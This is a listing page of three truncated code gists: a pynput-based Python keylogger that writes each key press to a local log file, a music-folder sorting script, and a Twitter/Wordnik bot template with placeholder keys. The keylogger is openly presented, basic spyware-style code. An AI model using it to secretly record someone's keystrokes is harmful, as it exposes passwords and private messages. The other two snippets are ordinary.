This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # From: https://github.com/moses-palmer/pynput | |
| from pynput.keyboard import Key, Listener | |
| import logging | |
| log_dir = "" | |
| logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='["%(asctime)s", %(message)s]') | |
| def on_press(key): | |
| logging.info('"{0}"'.format(key)) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Will sort a given direcotry of music (copy) | |
| # Requires mutagen | |
| import os | |
| from mutagen.id3 import ID3 | |
| from mutagen.easymp4 import EasyMP4 | |
| import shutil | |
| input_folder = input("What is the folder to get files from?") | |
| output_folder = os.getcwd() + "/Output/" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // Get a Wordnik API key: http://developer.wordnik.com/ | |
| var WORDNIK_API_KEY = "XXXX"; | |
| // Get a Twitter app key: https://apps.twitter.com/ | |
| var TWITTER_CONSUMER_KEY = "XXXX"; | |
| var TWITTER_CONSUMER_SECRET = "XXXX"; | |
| function Start() { | |
| // Delete exiting triggers, if any | |
| var triggers = ScriptApp.getProjectTriggers(); | |
| for (var i = 0; i < triggers.length; i++) { |